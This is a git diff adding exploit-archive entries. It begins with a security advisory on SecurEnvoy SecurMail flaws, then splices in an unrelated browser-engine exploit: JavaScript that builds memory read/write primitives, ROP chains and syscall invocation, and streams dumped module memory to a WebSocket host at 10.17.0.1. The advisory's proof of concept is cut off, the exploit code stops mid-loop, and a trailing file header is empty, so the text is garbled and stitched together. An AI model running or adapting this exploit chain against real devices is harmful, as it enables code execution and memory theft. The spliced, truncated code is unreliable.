diff --git a/exploits/aspx/webapps/44285.txt b/exploits/aspx/webapps/44285.txt new file mode 100644 index 000000000..9df28e55e --- /dev/null +++ b/exploits/aspx/webapps/44285.txt @@ -0,0 +1,281 @@ +SEC Consult Vulnerability Lab Security Advisory < 20180312-0 > +======================================================================= + title: Multiple Critical Vulnerabilities + product: SecurEnvoy SecurMail + vulnerable version: 9.1.501 + fixed version: 9.2.501 or hotfix patch "1_012018" + CVE number: CVE-2018-7701, CVE-2018-7702, CVE-2018-7703, CVE-2018-7704, + CVE-2018-7705, CVE-2018-7706, CVE-2018-7707 + impact: Critical + homepage: https://www.securenvoy.com/ + found: 2017-11 + by: W. Ettlinger (Office Vienna) + SEC Consult Vulnerability Lab + + An integrated part of SEC Consult + Europe | Asia | North America + + https://www.sec-consult.com + +======================================================================= + +Vendor description: +------------------- +"Sending and receiving encrypted emails is not an easy or simple experience. +Businesses rely on email with an increasing amount of sensitive data sent across +their networks. A revolutionary approach that doesn't suffer from the overheads +of deployment and encryption management; just rock-solid security to give you +100% confidence in your business communications." + +URL: https://www.securenvoy.com/products/securmail/key-features.shtm + + +Business recommendation: +------------------------ +During a brief crash test of the SecurEnvoy SecurMail application several severe +vulnerabilities have been identified that break the core security promises of +the product. + +These vulnerabilities open the possibility for several different attack +scenarios that allow an attacker to read other users' encrypted e-mails and +overwrite or delete e-mails stored in other users' inboxes. + +As we have identified several critical vulnerabilities within a very short time +frame we expect numerous other vulnerabilities to be present. + +As other SecureEnvoy products (besides the analyzed SecurMail) appear +to be highly integrated (all products are installed with a single setup +file) we suspect other components to also suffer from severe security deficits. + +We recommend not to use SecurEnvoy products (especially SecurMail) in a +production environment until: +* a comprehensive security audit has been performed and +* state of the art security mechanisms have been adopted. + + +Vulnerability overview/description: +----------------------------------- +1) Cross Site Scripting (CVE-2018-7703, CVE-2018-7707) +SEC Consult did not find any functionality that encodes user input when creating +HTML pages. Therefore persistent and reflected cross site scripting attacks are +possible throughout the application. + +Some pages fail to properly decode URL encoded parameters. Because of this, cross +site scripting cannot be exploited on these pages in most browsers. + + +2) Path Traversal (CVE-2018-7705, CVE-2018-7706) +SEC Consult did not find any path traversal checks throughout the application. +Since the application uses encrypted files as the primary method of data +storage, this vulnerability can be exploited at several points. + +Using this vulnerability, a legitimate recipient can read mails sent to other +recipients in plain text! + + +3) Insecure Direct Object Reference (CVE-2018-7704) +Authorization checks are only partially implemented. This allows a legitimate +recipient to read mails sent to other users in plain text. + + +4) Missing Authentication and Authorization (CVE-2018-7702) +In order to send encrypted e-mails a client does not need to authenticate on the +SecurEnvoy server. Therefore anyone with network access to the server can +arbitrarily send e-mails that appear to come from an arbitrary sender address. + +Moreover, an attacker with network access to the server can re-send previous +communication to arbitrary recipients. This allows him/her to extract all +e-mails stored on the server. An attacker could also modify arbitrary messages +stored on the server. + + +5) Cross Site Request Forgery (CVE-2018-7701) +SEC Consult did not find any protection against cross site request forgery. An +attacker could use this vulnerability to delete a victim's e-mail or to +impersonate the victim and reply to his/her e-mails. + + +Since these vulnerabilities were found during a very short time frame, SEC +Consult believes that the product may contain a large number of other security +vulnerabilities. As already several core security promises have been broken +during this short crash test, no further tests were conducted. + + +Proof of concept: +----------------- +1) Cross Site Scripting +a) The following HTML fragments demonstrates reflected cross site scripting + (CVE-2018-7703): + +--- snip --- +
+ + + +

+    
+
+<--- /index.html --->
+
+
+<--- expl.js --->
+function makeid() {
+    var text = "";
+    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+
+    for (var i = 0; i < 8; i++)
+        text += possible.charAt(Math.floor(Math.random() * possible.length));
+
+    return text;
+};
+
+var instancespr = [];
+
+for (var i = 0; i < 4096; i++) {
+    instancespr[i] = new Uint32Array(1);
+    instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
+}
+
+var _dview;
+
+function u2d(low, hi) {
+    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
+    _dview.setUint32(0, hi);
+    _dview.setUint32(4, low);
+    return _dview.getFloat64(0);
+}
+var dgc = function() {
+    for (var i = 0; i < 0x100; i++) {
+        new ArrayBuffer(0x100000);
+    }
+}
+
+function int64(low, hi) {
+    this.low = (low >>> 0);
+    this.hi = (hi >>> 0);
+
+    this.add32inplace = function(val) {
+        var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
+        var new_hi = (this.hi >>> 0);
+
+        if (new_lo < this.low) {
+            new_hi++;
+        }
+
+        this.hi = new_hi;
+        this.low = new_lo;
+    }
+
+    this.add32 = function(val) {
+        var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
+        var new_hi = (this.hi >>> 0);
+
+        if (new_lo < this.low) {
+            new_hi++;
+        }
+
+        return new int64(new_lo, new_hi);
+    }
+
+    this.sub32 = function(val) {
+        var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
+        var new_hi = (this.hi >>> 0);
+
+        if (new_lo > (this.low) & 0xFFFFFFFF) {
+            new_hi--;
+        }
+
+        return new int64(new_lo, new_hi);
+    }
+
+    this.sub32inplace = function(val) {
+        var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
+        var new_hi = (this.hi >>> 0);
+
+        if (new_lo > (this.low) & 0xFFFFFFFF) {
+            new_hi--;
+        }
+
+        this.hi = new_hi;
+        this.low = new_lo;
+    }
+
+    this.and32 = function(val) {
+        var new_lo = this.low & val;
+        var new_hi = this.hi;
+        return new int64(new_lo, new_hi);
+    }
+
+    this.and64 = function(vallo, valhi) {
+        var new_lo = this.low & vallo;
+        var new_hi = this.hi & valhi;
+        return new int64(new_lo, new_hi);
+    }
+
+    this.toString = function(val) {
+        val = 16;
+        var lo_str = (this.low >>> 0).toString(val);
+        var hi_str = (this.hi >>> 0).toString(val);
+
+        if (this.hi == 0)
+            return lo_str;
+        else
+            lo_str = zeroFill(lo_str, 8)
+
+        return hi_str + lo_str;
+    }
+
+    this.toPacked = function() {
+        return {
+            hi: this.hi,
+            low: this.low
+        };
+    }
+
+    this.setPacked = function(pck) {
+        this.hi = pck.hi;
+        this.low = pck.low;
+        return this;
+    }
+
+    return this;
+}
+
+function zeroFill(number, width) {
+    width -= number.toString().length;
+
+    if (width > 0) {
+        return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
+    }
+
+    return number + ""; // always return a string
+}
+
+var nogc = [];
+
+var fail = function() {
+    alert.apply(null, arguments);
+    throw "fail";
+}
+
+// Target JSObject for overlap
+var tgt = {
+    a: 0,
+    b: 0,
+    c: 0,
+    d: 0
+}
+
+var y = new ImageData(1, 0x4000)
+postMessage("", "*", [y.data.buffer]);
+
+// Spray properties to ensure object is fastmalloc()'d and can be found easily later
+var props = {};
+
+for (var i = 0;
+    (i < (0x4000 / 2));) {
+    props[i++] = {
+        value: 0x42424242
+    };
+    props[i++] = {
+        value: tgt
+    };
+}
+
+var foundLeak = undefined;
+var foundIndex = 0;
+var maxCount = 0x100;
+
+while (foundLeak == undefined && maxCount > 0) {
+    maxCount--;
+
+    history.pushState(y, "");
+
+    Object.defineProperties({}, props);
+
+    var leak = new Uint32Array(history.state.data.buffer);
+
+    for (var i = 0; i < leak.length - 6; i++) {
+        if (
+            leak[i] == 0x42424242 &&
+            leak[i + 0x1] == 0xFFFF0000 &&
+            leak[i + 0x2] == 0x00000000 &&
+            leak[i + 0x3] == 0x00000000 &&
+            leak[i + 0x4] == 0x00000000 &&
+            leak[i + 0x5] == 0x00000000 &&
+            leak[i + 0x6] == 0x0000000E &&
+            leak[i + 0x7] == 0x00000000 &&
+            leak[i + 0xA] == 0x00000000 &&
+            leak[i + 0xB] == 0x00000000 &&
+            leak[i + 0xC] == 0x00000000 &&
+            leak[i + 0xD] == 0x00000000 &&
+            leak[i + 0xE] == 0x0000000E &&
+            leak[i + 0xF] == 0x00000000
+        ) {
+            foundIndex = i;
+            foundLeak = leak;
+            break;
+        }
+    }
+}
+
+if (!foundLeak) {
+    failed = true
+    fail("Failed to find leak!")
+}
+
+var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
+var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
+
+Array.prototype.__defineGetter__(100, () => 1);
+
+var f = document.body.appendChild(document.createElement('iframe'));
+var a = new f.contentWindow.Array(13.37, 13.37);
+var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
+
+var master = new Uint32Array(0x1000);
+var slave = new Uint32Array(0x1000);
+var leakval_u32 = new Uint32Array(0x1000);
+var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
+
+// Create fake ArrayBufferView
+tgt.a = u2d(2048, 0x1602300);
+tgt.b = 0;
+tgt.c = leakval_helper;
+tgt.d = 0x1337;
+
+var c = Array.prototype.concat.call(a, b);
+document.body.removeChild(f);
+var hax = c[0];
+c[0] = 0;
+
+tgt.c = c;
+
+hax[2] = 0;
+hax[3] = 0;
+
+Object.defineProperty(Array.prototype, 100, {
+    get: undefined
+});
+
+tgt.c = leakval_helper;
+var butterfly = new int64(hax[2], hax[3]);
+butterfly.low += 0x10;
+
+tgt.c = leakval_u32;
+var lkv_u32_old = new int64(hax[4], hax[5]);
+hax[4] = butterfly.low;
+hax[5] = butterfly.hi;
+// Setup read/write primitive
+
+tgt.c = master;
+hax[4] = leakval_u32[0];
+hax[5] = leakval_u32[1];
+
+var addr_to_slavebuf = new int64(master[4], master[5]);
+tgt.c = leakval_u32;
+hax[4] = lkv_u32_old.low;
+hax[5] = lkv_u32_old.hi;
+
+tgt.c = 0;
+hax = 0;
+
+var prim = {
+    write8: function(addr, val) {
+        master[4] = addr.low;
+        master[5] = addr.hi;
+
+        if (val instanceof int64) {
+            slave[0] = val.low;
+            slave[1] = val.hi;
+        } else {
+            slave[0] = val;
+            slave[1] = 0;
+        }
+
+        master[4] = addr_to_slavebuf.low;
+        master[5] = addr_to_slavebuf.hi;
+    },
+
+    write4: function(addr, val) {
+        master[4] = addr.low;
+        master[5] = addr.hi;
+
+        slave[0] = val;
+
+        master[4] = addr_to_slavebuf.low;
+        master[5] = addr_to_slavebuf.hi;
+    },
+
+    read8: function(addr) {
+        master[4] = addr.low;
+        master[5] = addr.hi;
+
+        var rtv = new int64(slave[0], slave[1]);
+
+        master[4] = addr_to_slavebuf.low;
+        master[5] = addr_to_slavebuf.hi;
+
+        return rtv;
+    },
+
+    read4: function(addr) {
+        master[4] = addr.low;
+        master[5] = addr.hi;
+
+        var rtv = slave[0];
+
+        master[4] = addr_to_slavebuf.low;
+        master[5] = addr_to_slavebuf.hi;
+
+        return rtv;
+    },
+
+    leakval: function(jsval) {
+        leakval_helper[0] = jsval;
+        var rtv = this.read8(butterfly);
+        this.write8(butterfly, new int64(0x41414141, 0xffff0000));
+
+        return rtv;
+    },
+
+    createval: function(jsval) {
+        this.write8(butterfly, jsval);
+        var rt = leakval_helper[0];
+        this.write8(butterfly, new int64(0x41414141, 0xffff0000));
+        return rt;
+    }
+};
+
+window.primitives = prim;
+if (window.postExpl) window.postExpl();
+<--- /expl.js --->
+
+
+<--- rop.js -->
+var p;
+var xhr_sync_log = function(str) {
+    var req = new XMLHttpRequest();
+    req.open('GET', "log?" + str, false);
+    try {
+        req.send();
+    } catch(e){}
+}
+var findModuleBaseXHR = function(addr)
+{
+    var addr_ = addr.add32(0); // copy
+    addr_.low &= 0xFFFFF000;
+    xhr_sync_log("START: " + addr_);
+    
+    while (1) {
+        var vr = p.read4(addr_.add32(0x110-4));
+        xhr_sync_log("step" + addr_);
+        addr_.sub32inplace(0x1000);
+    }
+}
+var log = function(x) {
+    document.getElementById("console").innerText += x + "\n";
+}
+var print = function(string) { // like log but html
+    document.getElementById("console").innerHTML += string + "\n";
+}
+
+var dumpModuleXHR = function(moduleBase) {
+    var chunk = new ArrayBuffer(0x1000);
+    var chunk32 = new Uint32Array(chunk);
+    var chunk8 = new Uint8Array(chunk);
+    connection = new WebSocket('ws://10.17.0.1:8080');
+    connection.binaryType = "arraybuffer";
+    var helo = new Uint32Array(1);
+    helo[0] = 0x41414141;
+    
+    var moduleBase_ = moduleBase.add32(0);
+    connection.onmessage = function() {
+        try {
+            for (var i = 0; i < chunk32.length; i++)
+            {
+                var val = p.read4(moduleBase_);
+                chunk32[i] = val;
+                moduleBase_.add32inplace(4);
+            }
+            connection.send(chunk8);
+        } catch (e) {
+            print(e);
+        }
+    }
+}
+var get_jmptgt = function(addr)
+{
+    var z=p.read4(addr) & 0xFFFF;
+    var y=p.read4(addr.add32(2));
+    if (z != 0x25ff) return 0;
+    
+    return addr.add32(y+6);
+    
+}
+var gadgetmap_wk = {
+    "ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
+    "pop rsi": [0x5E, 0xC3],
+    "pop rdi": [0x5F, 0xC3],
+    "pop rsp": [0x5c, 0xC3],
+    "pop rax": [0x58, 0xC3],
+    "pop rdx": [0x5a, 0xC3],
+    "pop rcx": [0x59, 0xC3],
+    "pop rsp": [0x5c, 0xC3],
+    "pop rbp": [0x5d, 0xC3],
+    "pop r8": [0x47, 0x58, 0xC3],
+    "pop r9": [0x47, 0x59, 0xC3],
+    "infloop": [0xEB, 0xFE, 0xc3],
+    "ret": [0xC3],
+    "mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
+    "mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
+    "mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
+    "mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
+};
+var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
+slowpath_jop.reverse();
+
+var gadgets;
+window.stage2 = function() {
+    try {
+        window.stage2_();
+    } catch (e) {
+        print(e);
+    }
+}
+var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
+window.stage2_ = function() {
+    p = window.prim;
+    print ("[+] exploit succeeded");
+    print("webkit exploit result: " + p.leakval(0x41414141));
+    print ("--- welcome to stage2 ---");
+    p.leakfunc = function(func)
+    {
+        var fptr_store = p.leakval(func);
+        return (p.read8(fptr_store.add32(0x18))).add32(0x40);
+    }
+    gadgetconn = 0;
+    if (!gadgetcache)
+        gadgetconn = new WebSocket('ws://10.17.0.1:8080');
+
+    var parseFloatStore = p.leakfunc(parseFloat);
+    var parseFloatPtr = p.read8(parseFloatStore);
+    print("parseFloat at: 0x" + parseFloatPtr);
+    var webKitBase = p.read8(parseFloatStore);
+    window.webKitBase = webKitBase;
+    
+    webKitBase.low &= 0xfffff000;
+    webKitBase.sub32inplace(0x5b7000-0x1C000);
+    
+    print("libwebkit base at: 0x" + webKitBase);
+    
+    var o2wk = function(o)
+    {
+        return webKitBase.add32(o);
+    }
+
+    gadgets = {
+        "stack_chk_fail": o2wk(0xc8),
+        "memset": o2wk(0x228),
+        "setjmp": o2wk(0x14f8)
+    };
+/*
+    var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
+    libSceLibcInternalBase.low &= ~0x3FFF;
+    libSceLibcInternalBase.sub32inplace(0x20000);
+    print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
+    window.libSceLibcInternalBase = libSceLibcInternalBase;
+*/
+    var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
+    window.libKernelBase = libKernelBase;
+    libKernelBase.low &= 0xfffff000;
+    libKernelBase.sub32inplace(0x12000);
+    print("libkernel_web base at: 0x" + libKernelBase);
+    
+    
+    var o2lk = function(o)
+    {
+        return libKernelBase.add32(o);
+    }
+    window.o2lk = o2lk;
+    
+    var wkview = new Uint8Array(0x1000);
+    var wkstr = p.leakval(wkview).add32(0x10);
+    var orig_wkview_buf = p.read8(wkstr);
+    
+    p.write8(wkstr, webKitBase);
+    p.write4(wkstr.add32(8), 0x367c000);
+    
+    var gadgets_to_find = 0;
+    var gadgetnames = [];
+    for (var gadgetname in gadgetmap_wk) {
+        if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
+            gadgets_to_find++;
+            gadgetnames.push(gadgetname);
+            gadgetmap_wk[gadgetname].reverse();
+        }
+    }
+    log("finding gadgets");
+    
+    gadgets_to_find++; // slowpath_jop
+    
+    var findgadget = function(donecb) {
+        if (gadgetcache)
+        {
+            gadgets_to_find=0;
+            slowpath_jop=0;
+            log("using cached gadgets");
+            
+            for (var gadgetname in gadgetcache) {
+                if (gadgetcache.hasOwnProperty(gadgetname)) {
+                    gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
+                }
+            }
+            
+        } else {
+            for (var i=0; i < wkview.length; i++)
+            {
+                if (wkview[i] == 0xc3)
+                {
+                    for (var nl=0; nl < gadgetnames.length; nl++)
+                    {
+                        var found = 1;
+                        if (!gadgetnames[nl]) continue;
+                        var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
+                        for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
+                        {
+                            if (gadgetbytes[compareidx] != wkview[i - compareidx]){
+                                found = 0;
+                                break;
+                            }
+                        }
+                        if (!found) continue;
+                        gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
+                        gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
+                        delete gadgetnames[nl];
+                        gadgets_to_find--;
+                    }
+                } else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
+                {
+                    var found = 1;
+                    for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
+                    {
+                        if (slowpath_jop[compareidx] != wkview[i - compareidx])
+                        {
+                            found = 0;
+                            break;
+                        }
+                    }
+                    if (!found) continue;
+                    gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
+                    gadgetoffs["jop"] = i - slowpath_jop.length + 1;
+                    gadgets_to_find--;
+                    slowpath_jop = 0;
+                }
+                
+                if (!gadgets_to_find) break;
+            }
+        }
+        if (!gadgets_to_find && !slowpath_jop) {
+            log("found gadgets");
+            if (gadgetconn)
+                gadgetconn.onopen = function(e){
+                    gadgetconn.send(JSON.stringify(gadgetoffs));
+                }
+                setTimeout(donecb, 50);
+        } else {
+            log("missing gadgets: ");
+            for (var nl in gadgetnames) {
+                log(" - " + gadgetnames[nl]);
+            }
+            if(slowpath_jop) log(" - jop gadget");
+        }
+    }
+    findgadget(function(){});
+    var hold1;
+    var hold2;
+    var holdz;
+    var holdz1;
+    
+    while (1)
+    {
+        hold1 = {a:0, b:0, c:0, d:0};
+        hold2 = {a:0, b:0, c:0, d:0};
+        holdz1 = p.leakval(hold2);
+        holdz = p.leakval(hold1);
+        if (holdz.low - 0x30 == holdz1.low) break;
+    }
+    
+    var pushframe = [];
+    pushframe.length = 0x80;
+    var funcbuf;
+    
+    
+    var launch_chain = function(chain)
+    {
+        
+        var stackPointer = 0;
+        var stackCookie = 0;
+        var orig_reenter_rip = 0;
+        
+        var reenter_help = {length: {valueOf: function(){
+            orig_reenter_rip = p.read8(stackPointer);
+            stackCookie = p.read8(stackPointer.add32(8));
+            var returnToFrame = stackPointer;
+            
+            var ocnt = chain.count;
+            chain.push_write8(stackPointer, orig_reenter_rip);
+            chain.push_write8(stackPointer.add32(8), stackCookie);
+            
+            if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
+            
+            chain.push(gadgets["pop rsp"]); // pop rsp
+            chain.push(returnToFrame); // -> back to the trap life
+            chain.count = ocnt;
+            
+            p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
+            p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
+        }}};
+        
+        var funcbuf32 = new Uint32Array(0x100);
+        nogc.push(funcbuf32);
+        funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
+        
+        p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
+        p.write8(funcbuf.add32(0x80), gadgets["jop"]);
+        p.write8(funcbuf,funcbuf);
+        p.write8(parseFloatStore, gadgets["jop"]);
+        var orig_hold = p.read8(holdz1);
+        var orig_hold48 = p.read8(holdz1.add32(0x48));
+        
+        p.write8(holdz1, funcbuf.add32(0x50));
+        p.write8(holdz1.add32(0x48), funcbuf);
+        parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
+        p.write8(holdz1, orig_hold);
+        p.write8(holdz1.add32(0x48), orig_hold48);
+        
+        stackPointer = p.read8(funcbuf.add32(0x10));
+        rtv=Array.prototype.splice.apply(reenter_help);
+        return p.leakval(rtv);
+    }
+    
+    
+    gadgets = gadgets;
+    p.loadchain = launch_chain;
+    window.RopChain = function () {
+        this.ropframe = new Uint32Array(0x10000);
+        this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
+        this.count = 0;
+        this.clear = function() {
+            this.count = 0;
+            this.runtime = undefined;
+            for (var i = 0; i < 0x1000/8; i++)
+            {
+                p.write8(this.ropframeptr.add32(i*8), 0);
+            }
+        };
+        this.pushSymbolic = function() {
+            this.count++;
+            return this.count-1;
+        }
+        this.finalizeSymbolic = function(idx, val) {
+            p.write8(this.ropframeptr.add32(idx*8), val);
+        }
+        this.push = function(val) {
+            this.finalizeSymbolic(this.pushSymbolic(), val);
+        }
+        this.push_write8 = function(where, what)
+        {
+            this.push(gadgets["pop rdi"]); // pop rdi
+            this.push(where); // where
+            this.push(gadgets["pop rsi"]); // pop rsi
+            this.push(what); // what
+            this.push(gadgets["mov [rdi], rsi"]); // perform write
+        }
+        this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
+        {
+            this.push(gadgets["pop rdi"]); // pop rdi
+            this.push(rdi); // what
+            this.push(gadgets["pop rsi"]); // pop rsi
+            this.push(rsi); // what
+            this.push(gadgets["pop rdx"]); // pop rdx
+            this.push(rdx); // what
+            this.push(gadgets["pop rcx"]); // pop r10
+            this.push(rcx); // what
+            this.push(gadgets["pop r8"]); // pop r8
+            this.push(r8); // what
+            this.push(gadgets["pop r9"]); // pop r9
+            this.push(r9); // what
+            this.push(rip); // jmp
+            return this;
+        }
+        
+        this.run = function() {
+            var retv = p.loadchain(this, this.notimes);
+            this.clear();
+            return retv;
+        }
+        
+        return this;
+    };
+    
+    var RopChain = window.RopChain();
+    window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
+    
+    function swapkeyval(json){
+        var ret = {};
+        for(var key in json){
+            if (json.hasOwnProperty(key)) {
+                ret[json[key]] = key;
+            }
+        }
+        return ret;
+    }
+    
+    window.nameforsyscall = swapkeyval(window.syscallnames);
+    
+    window.syscalls = {};
+    
+    log("--- welcome to stage3 ---");
+    
+    var kview = new Uint8Array(0x1000);
+    var kstr = p.leakval(kview).add32(0x10);
+    var orig_kview_buf = p.read8(kstr);
+    
+    p.write8(kstr, window.libKernelBase);
+    p.write4(kstr.add32(8), 0x40000); // high enough lel
+    
+    var countbytes;
+    for (var i=0; i < 0x40000; i++)
+    {
+        if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
+        {
+            countbytes = i;
+            break;
+        }
+    }
+    p.write4(kstr.add32(8), countbytes + 32);
+    
+    var dview32 = new Uint32Array(1);
+    var dview8 = new Uint8Array(dview32.buffer);
+    for (var i=0; i < countbytes; i++)
+    {
+        if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
+        {
+            dview8[0] = kview[i+3];
+            dview8[1] = kview[i+4];
+            dview8[2] = kview[i+5];
+            dview8[3] = kview[i+6];
+            var syscallno = dview32[0];
+            window.syscalls[syscallno] = window.libKernelBase.add32(i);
+        }
+    }
+    var chain = new window.RopChain;
+    var returnvalue;
+    p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
+        chain.clear();
+        
+        chain.notimes = this.next_notime;
+        this.next_notime = 1;
+        
+        chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
+        
+        chain.push(window.gadgets["pop rdi"]); // pop rdi
+        chain.push(chain.ropframeptr.add32(0x3ff8)); // where
+        chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
+        
+        chain.push(window.gadgets["pop rax"]); // pop rax
+        chain.push(p.leakval(0x41414242)); // where
+        
+        if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
+        returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
+    }
+    p.fcall = function()
+    {
+        var rv=p.fcall_.apply(this,arguments);
+        return returnvalue;
+    }
+    p.readstr = function(addr){
+        var addr_ = addr.add32(0); // copy
+        var rd = p.read4(addr_);
+        var buf = "";
+        while (rd & 0xFF)
+        {
+            buf += String.fromCharCode(rd & 0xFF);
+            addr_.add32inplace(1);
+            rd = p.read4(addr_);
+        }
+        return buf;
+    }
+    
+    p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
+    {
+        if (typeof sysc == "string") {
+            sysc = window.syscallnames[sysc];
+        }
+        if (typeof sysc != "number") {
+            throw new Error("invalid syscall");
+        }
+        
+        var off = window.syscalls[sysc];
+        if (off == undefined)
+        {
+            throw new Error("invalid syscall");
+        }
+        
+        return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
+    }
+    p.sptr = function(str) {
+        var bufView = new Uint8Array(str.length+1);
+        for (var i=0; i
\ No newline at end of file
diff --git a/exploits/hardware/remote/44283.py b/exploits/hardware/remote/44283.py
new file mode 100755
index 000000000..74ad48651
--- /dev/null
+++ b/exploits/hardware/remote/44283.py
